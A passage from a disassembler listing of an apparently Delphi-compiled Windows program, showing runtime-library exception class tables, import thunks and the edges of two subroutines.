		mov	edx, [ebp+var_8]
		call	sub_4000684C
		mov	ecx, ebx
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_20]
		call	sub_40006958
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40006AB3


loc_40006A9E:				; CODE XREF: sub_40006A2C+85j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40006AAC:				; DATA XREF: sub_40006A2C+22o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40006A9E
; ---------------------------------------------------------------------------


loc_40006AB3:				; CODE XREF: sub_40006A2C+7Fj
					; DATA XREF: sub_40006A2C+6Do
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_40006A2C	endp

; ---------------------------------------------------------------------------
		align 4
off_40006ABC	dd offset dword_40006AC0 ; DATA	XREF: sub_40016280+17r
					; sub_40016280+31Fr ...
dword_40006AC0	dd 61740C0Eh, 43584567h, 4E495045h, 204F46h, 30000h
					; DATA XREF: .text:off_40006ABCo
		db 2 dup(0)
		dd offset off_4000100C
		dw 4
		db 2 dup(0)
		dd offset off_4000100C
		dw 8
		db 2 dup(0)
		dd offset off_4000100C
		dw 0Ch
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006AF0	proc near		; CODE XREF: sub_40016A34+69p
		jmp	ds:dword_40024634
sub_40006AF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006AF8	proc near		; CODE XREF: sub_40016AB0+4Ep
		jmp	ds:dword_40024630
sub_40006AF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006B00	proc near		; CODE XREF: sub_40016280+2FEp
					; sub_40016958+8Ep
		jmp	ds:dword_40024628
sub_40006B00	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006B08	proc near		; CODE XREF: sub_40016180+31p
		jmp	ds:dword_40024624
sub_40006B08	endp

; ---------------------------------------------------------------------------
		align 10h
off_40006B10	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF2Co
		dd 0FFF0h
off_40006B18	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF24o
		dd 0FFF1h
off_40006B20	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF84o
		dd 0FFF2h
off_40006B28	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B084o
		dd 0FFF3h
off_40006B30	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEC4o
		dd 0FFF4h
off_40006B38	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B034o
		dd 0FFF5h
off_40006B40	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFE8o
		dd 0FFF6h
off_40006B48	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF0Co
		dd 0FFF7h
off_40006B50	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF34o
		dd 0FFF8h
off_40006B58	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B094o
		dd 0FFF9h
off_40006B60	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B08Co
		dd 0FFFAh
off_40006B68	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF88o
		dd 0FFFBh
off_40006B70	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0A8o
		dd 0FFFCh
off_40006B78	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0C4o
		dd 0FFFDh
off_40006B80	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFECo
		dd 0FFFEh
off_40006B88	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B004o
		dd 0FFFFh
off_40006B90	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFFCo
		dd 0FFE0h
off_40006B98	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0BCo
		dd 0FFE1h
off_40006BA0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B020o
		dd 0FFE2h
off_40006BA8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF74o
		dd 0FFE3h
off_40006BB0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF70o
		dd 0FFE4h
off_40006BB8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF78o
		dd 0FFE5h
off_40006BC0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B088o
		dd 0FFE6h
off_40006BC8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0B8o
		dd 0FFE7h
off_40006BD0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF28o
		dd 0FFE8h
off_40006BD8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A85Co
					; .data:off_4001AF38o
		dd 0FFE9h
off_40006BE0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A860o
					; .data:off_4001AF8Co
		dd 0FFEAh
off_40006BE8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEBCo
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_40006BEC+1 ;	CODE XREF: .text:loc_40006BECj
; ---------------------------------------------------------------------------
		align 10h
off_40006BF0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0CCo
		dd 0FFECh
off_40006BF8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B01Co
		dd 0FFEDh
off_40006C00	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF94o
		dd 0FFEEh
off_40006C08	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B050o
		dd 0FFEFh
off_40006C10	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0C0o
		dd 0FFD0h
off_40006C18	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFD4o
		dd 0FFD1h
off_40006C20	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFB4o
		dd 0FFD2h
off_40006C28	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF98o
		dd 0FFD3h
off_40006C30	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEC0o
		dd 0FFD4h
off_40006C38	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B014o
		dd 0FFD5h
off_40006C40	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF00o
		dd 0FFD6h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF44o
		dd 0FFD7h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B090o
		dd 0FFD8h
off_40006C58	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFF4o
		dd 0FFD9h
off_40006C60	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEFCo
		dd 0FFDAh
off_40006C68	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEE0o
		dd 0FFDBh
off_40006C70	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B038o
		dd 0FFDCh
off_40006C78	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFA4o
		dd 0FFDDh
off_40006C80	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B010o
		dd 0FFDEh
off_40006C88	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B06Co
		dd 0FFDFh
off_40006C90	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF40o
		dd 0FFC0h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B060o
		dd 0FFC1h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B030o
; ---------------------------------------------------------------------------
		retn	0FFh
; ---------------------------------------------------------------------------
		align 4
off_40006CA8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0A4o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_40006CB0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A884o
					; .data:off_4001B0ACo
		dd 0FFC4h
off_40006CB8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A888o
					; .data:off_4001AFD8o
		dd 0FFC5h
off_40006CC0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A88Co
					; .data:off_4001B080o
		dd 0FFC6h
off_40006CC8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A890o
					; .data:off_4001AEB8o
		dd 0FFC7h
off_40006CD0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A894o
					; .data:off_4001AEF4o
		dd 0FFC8h
off_40006CD8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A898o
					; .data:off_4001B0D0o
		dd 0FFC9h
off_40006CE0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A89Co
					; .data:off_4001B068o
; ---------------------------------------------------------------------------
		retf	0FFh
; ---------------------------------------------------------------------------
		align 4
off_40006CE8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8A0o
					; .data:off_4001AED8o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_40006CF0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8A4o
					; .data:off_4001AF30o
		db 0CCh
		db 0FFh, 2 dup(0)
off_40006CF8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8A8o
					; .data:off_4001AFDCo
		dd 0FFCDh
off_40006D00	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8ACo
					; .data:off_4001B070o
		dd 0FFCEh
off_40006D08	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8B0o
					; .data:off_4001B098o
		dd 0FFCFh
off_40006D10	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8B4o
					; .data:off_4001AF9Co
		dd 0FFB0h
off_40006D18	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8B8o
					; .data:off_4001AEC8o
		dd 0FFB1h
off_40006D20	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8BCo
					; .data:off_4001AF58o
		dd 0FFB2h
off_40006D28	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8C0o
					; .data:off_4001AFBCo
		dd 0FFB3h
off_40006D30	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8C4o
					; .data:off_4001AFF8o
		dd 0FFB4h
off_40006D38	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8C8o
					; .data:off_4001AFB0o
		dd 0FFB5h
off_40006D40	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8CCo
					; .data:off_4001AF48o
		dd 0FFB6h
off_40006D48	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8D0o
					; .data:off_4001AFC4o
		dd 0FFB7h
off_40006D50	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8D4o
					; .data:off_4001B03Co
		dd 0FFB8h
off_40006D58	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8D8o
					; .data:off_4001AECCo
		dd 0FFB9h
off_40006D60	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8DCo
					; .data:off_4001AF50o
		dd 0FFBAh
off_40006D68	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8E0o
					; .data:off_4001AF6Co
		dd 0FFBBh
off_40006D70	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8E4o
					; .data:off_4001B008o
		dd 0FFBCh
off_40006D78	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8E8o
					; .data:off_4001B040o
		dd 0FFBDh
off_40006D80	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8ECo
					; .data:off_4001B04Co
		dd 0FFBEh
off_40006D88	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8F0o
					; .data:off_4001AFE0o
		dd 0FFBFh
off_40006D90	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8F4o
					; .data:off_4001AF14o
		dd 0FFA0h
off_40006D98	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8F8o
					; .data:off_4001B000o
		dd 0FFA1h
off_40006DA0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8FCo
					; .data:off_4001AF80o
		dd 0FFA2h
off_40006DA8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A900o
					; .data:off_4001AEF0o
		dd 0FFA3h
off_40006DB0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A904o
					; .data:off_4001AF10o
		dd 0FFA4h
off_40006DB8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A908o
					; .data:off_4001AF18o
		dd 0FFA5h
off_40006DC0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A90Co
					; .data:off_4001AED0o
		dd 0FFA6h
off_40006DC8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A910o
					; .data:off_4001B028o
		dd 0FFA7h
off_40006DD0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A914o
					; .data:off_4001AEE8o
		dd 0FFA8h
off_40006DD8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A918o
					; .data:off_4001B078o
		dd 0FFA9h
off_40006DE0	dd offset dword_40006E2C ; DATA	XREF: .text:40006E70o
					; .text:40006F28o ...
		dd 2 dup(0)
		dd offset dword_40006E2C
		dd 4 dup(0)
		dd offset word_40006E3E
		dd 0Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006E2C	dd 0Eh,	10000h						; .text:40006DECo ...
		db 2 dup(0)
		dd offset off_40001000
		dw 4
		db 2 dup(0)
word_40006E3E	dw 4509h		; DATA XREF: .text:40006E00o
		dd 70656378h, 6E6F6974h
off_40006E48	dd offset dword_40006E94 ; DATA	XREF: .text:40006ECCo
					; .text:40007354o
		dd 7 dup(0)
		dd offset dword_40006E94
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_4000B204
		dd offset sub_40003CD8
dword_40006E94	dd 6548450Eh, 78457061h, 74706563h, 906E6F69h
					; DATA XREF: .text:off_40006E48o
					; .text:40006E68o
off_40006EA4	dd offset dword_40006EF0 ; DATA	XREF: sub_4000B72C+8r
		dd 7 dup(0)
		dd offset dword_40006EF0
		dd 10h
		dd offset off_40006E48
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_4000B204
		dd offset sub_40003CD8
dword_40006EF0	dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h					; .text:40006EC4o
off_40006F00	dd offset dword_40006F4C ; DATA	XREF: sub_4000B230+2Dr
					; sub_4000B230+4Cr
		dd 7 dup(0)
		dd offset dword_40006F4C
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006F4C	dd 6E49450Bh, 4574754Fh, 726F7272h					; .text:40006F20o
off_40006F58	dd offset dword_40006FA4 ; DATA	XREF: .text:40006FD8o
					; .text:40007038o ...
		dd 7 dup(0)
		dd offset dword_40006FA4
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006FA4	dd 78454509h, 6E726574h, 0C08B6C61h					; .text:40006F78o
off_40006FB0	dd offset dword_40006FFC ; DATA	XREF: sub_4000B654+80r
		dd 7 dup(0)
		dd offset dword_40006FFC
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006FFC	dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
					; DATA XREF: .text:off_40006FB0o
					; .text:40006FD0o ...
off_40007010	dd offset dword_4000705C ; DATA	XREF: .text:40007090o
					; .text:400070E8o ...
		dd 7 dup(0)
		dd offset dword_4000705C
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000705C	dd 6E494509h, 72724574h, 0C08B726Fh					; .text:40007030o
		dd offset dword_400070B4
		dd 7 dup(0)
		dd offset dword_400070B4
		dd 10h
		dd offset off_40007010
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400070B4	dd 6944450Ah, 5A794276h, 906F7265h					; .text:40007088o ...
off_400070C0	dd offset dword_4000710C ; DATA	XREF: sub_4000E068+Br
		dd 7 dup(0)
		dd offset dword_4000710C
		dd 10h
		dd offset off_40007010
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000710C	dd 6152450Bh, 4565676Eh, 726F7272h					; .text:400070E0o ...
		dd offset dword_40007164
		dd 7 dup(0)
		dd offset dword_40007164
		dd 10h
		dd offset off_40007010
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007164	dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h					; .text:40007138o ...
off_40007174	dd offset dword_400071C0 ; DATA	XREF: .text:400071F4o
					; .text:4000724Co ...
		dd 7 dup(0)
		dd offset dword_400071C0
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400071C0	dd 614D450Ah, 72456874h, 90726F72h					; .text:40007194o
		dd offset dword_40007218
		dd 7 dup(0)
		dd offset dword_40007218
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007218	dd 6E49450Ah, 696C6176h, 90704F64h					; .text:400071ECo ...
		dd offset dword_40007270
		dd 7 dup(0)
		dd offset dword_40007270
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007270	dd 655A450Bh, 69446F72h, 65646976h					; .text:40007244o ...
off_4000727C	dd offset dword_400072C8 ; DATA	XREF: sub_4000E068+30r
		dd 7 dup(0)
		dd offset dword_400072C8
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400072C8	dd 764F4509h, 6C667265h, 0C08B776Fh					; .text:4000729Co ...
		dd offset dword_40007320
		dd 7 dup(0)
		dd offset dword_40007320
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007320	dd 6E55450Ah, 66726564h, 90776F6Ch					; .text:400072F4o ...
off_4000732C	dd offset dword_40007378 ; DATA	XREF: sub_4000B72C+1Fr
		dd 7 dup(0)
		dd offset dword_40007378
		dd 10h
		dd offset off_40006E48
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_4000B204
		dd offset sub_40003CD8
dword_40007378	dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh
					; DATA XREF: .text:off_4000732Co
					; .text:4000734Co
		dd offset dword_400073D4
		dd 7 dup(0)
		dd offset dword_400073D4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400073D4	dd 6E49450Ch, 696C6176h, 73614364h, 408D74h					; .text:400073A8o ...
off_400073E4	dd offset dword_40007430 ; DATA	XREF: sub_40007998+Fr
					; sub_4000E068+54r ...
		dd 7 dup(0)
		dd offset dword_40007430
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007430	dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh
					; DATA XREF: .text:off_400073E4o
					; .text:40007404o
off_40007440	dd offset dword_4000748C ; DATA	XREF: sub_4000B488+122r
					; sub_4000B488+17Er
		dd 7 dup(0)
		dd offset dword_4000748C
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000748C	dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
					; DATA XREF: .text:off_40007440o
					; .text:40007460o ...
		dd offset dword_400074EC
		dd 7 dup(0)
		dd offset dword_400074EC
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400074EC	dd 7250450Ah, 6C697669h, 90656765h					; .text:400074C0o ...
		dd offset dword_40007544
		dd 7 dup(0)
		dd offset dword_40007544
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007544	dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch					; .text:40007518o ...
		dd offset dword_400075A0
		dd 7 dup(0)
		dd offset dword_400075A0
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400075A0	dd 6F434509h, 6F72746Eh, 0C08B436Ch					; .text:40007574o ...
off_400075AC	dd offset dword_400075F8 ; DATA	XREF: .text:4000D70Co
					; .text:4000D770o ...
		dd 7 dup(0)
		dd offset dword_400075F8
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400075F8	dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh
					; DATA XREF: .text:off_400075ACo
					; .text:400075CCo ...
off_40007608	dd offset dword_40007654 ; DATA	XREF: sub_4000B300+72r
		dd 7 dup(0)
		dd offset dword_40007654
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007654	dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
					; DATA XREF: .text:off_40007608o
					; .text:40007628o ...
off_40007668	dd offset dword_400076B4 ; DATA	XREF: sub_4000B3D8+8r
		dd 7 dup(0)
		dd offset dword_400076B4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400076B4	dd 6241450Eh, 61727473h, 72457463h, 90726F72h
					; DATA XREF: .text:off_40007668o
					; .text:40007688o
		dd offset dword_40007710
		dd 7 dup(0)
		dd offset dword_40007710
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007710	dd 6E49450Eh, 61436674h, 72457473h, 90726F72h					; .text:400076E4o ...
off_40007720	dd offset dword_4000776C ; DATA	XREF: sub_4000C41C+49r
					; sub_4000C41C+5Fr
		dd 7 dup(0)
		dd offset dword_4000776C
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000776C	dd 534F4508h, 6F727245h, 408D72h					; .text:40007740o
		dd offset dword_400077C4
		dd 7 dup(0)
		dd offset dword_400077C4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400077C4	dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
					; DATA XREF: .text:40007778o
					; .text:40007798o ...
off_400077D8	dd offset dword_400077DC ; DATA	XREF: sub_40007E2C+1Ar
					; sub_4000CC50+10Dr
dword_400077DC	dd 372E0311h, 434h		db 0
		dd offset off_40001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_40001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch
off_400077FC	dd offset dword_40007800 ; DATA	XREF: sub_40007E2C+51r
					; sub_4000CC50+11Dr
dword_40007800	dd 382E0311h, 434h		db 0
		dd offset off_40001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_40001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1
dword_40007828	dd 24h		off_4000782C	dd offset dword_40007878 ; DATA	XREF: sub_4000C69C+4Br
		dd 7 dup(0)
		dd offset dword_40007878
		dd 44h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_4000C55C
dword_40007878	dd 68545413h, 64616572h, 61636F4Ch, 756F436Ch, 7265746Eh
					; DATA XREF: .text:off_4000782Co
					; .text:4000784Co
		dd 0D4C083CCh, 5003E9h,	0D4C08300h, 506BE9h, 0D4C08300h
		dd 4EF7E9h, 0D4C08300h,	4F9BE9h, 24448300h, 0BDE9D404h
		dd 83FFFFE9h, 0D4042444h, 0FFE9DBE9h, 244483FFh, 0E5E9D404h
		dd 0CCFFFFE9h
off_400078CC	dd offset dword_40007878+35h ; DATA XREF: .text:400078FCo
		dd offset dword_40007878+3Fh
		dd offset dword_40007878+49h
		dd offset dword_40007878+15h
		dd offset dword_40007878+1Dh
		dd offset dword_40007878+25h
		dd offset dword_40007878+2Dh
dword_400078E8	dd 1, 7B108C52h, 4CDB1D8Fh, 0E057DF9Ch,	3F3D1971h
					; DATA XREF: .text:4000790Co
		dd offset off_400078CC
		dd 2Ch,	0
off_40007908	dd offset aTmultireadexcl ; DATA XREF: sub_400191F8+2Br
					; "$TMultiReadExclusiveWriteSynchronizer@"...
		dd offset dword_400078E8
		dd 6 dup(0)
		dd offset aTmultireadexcl ; "$TMultiReadExclusiveWriteSynchronizer@"...
		dd 30h
		dd offset off_400010E0
		dd offset sub_40003EF4
		dd offset sub_40006248
		dd offset sub_40006254
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40006264
		dd offset sub_40003C9C
		dd offset sub_4000C710
aTmultireadexcl	db '$TMultiReadExclusiveWriteSynchronizer@',0
					; DATA XREF: .text:off_40007908o
					; .text:40007928o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000797C	proc near		; CODE XREF: sub_40008FB8+2Bp
					; sub_40008FB8+3Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		mov	edx, eax
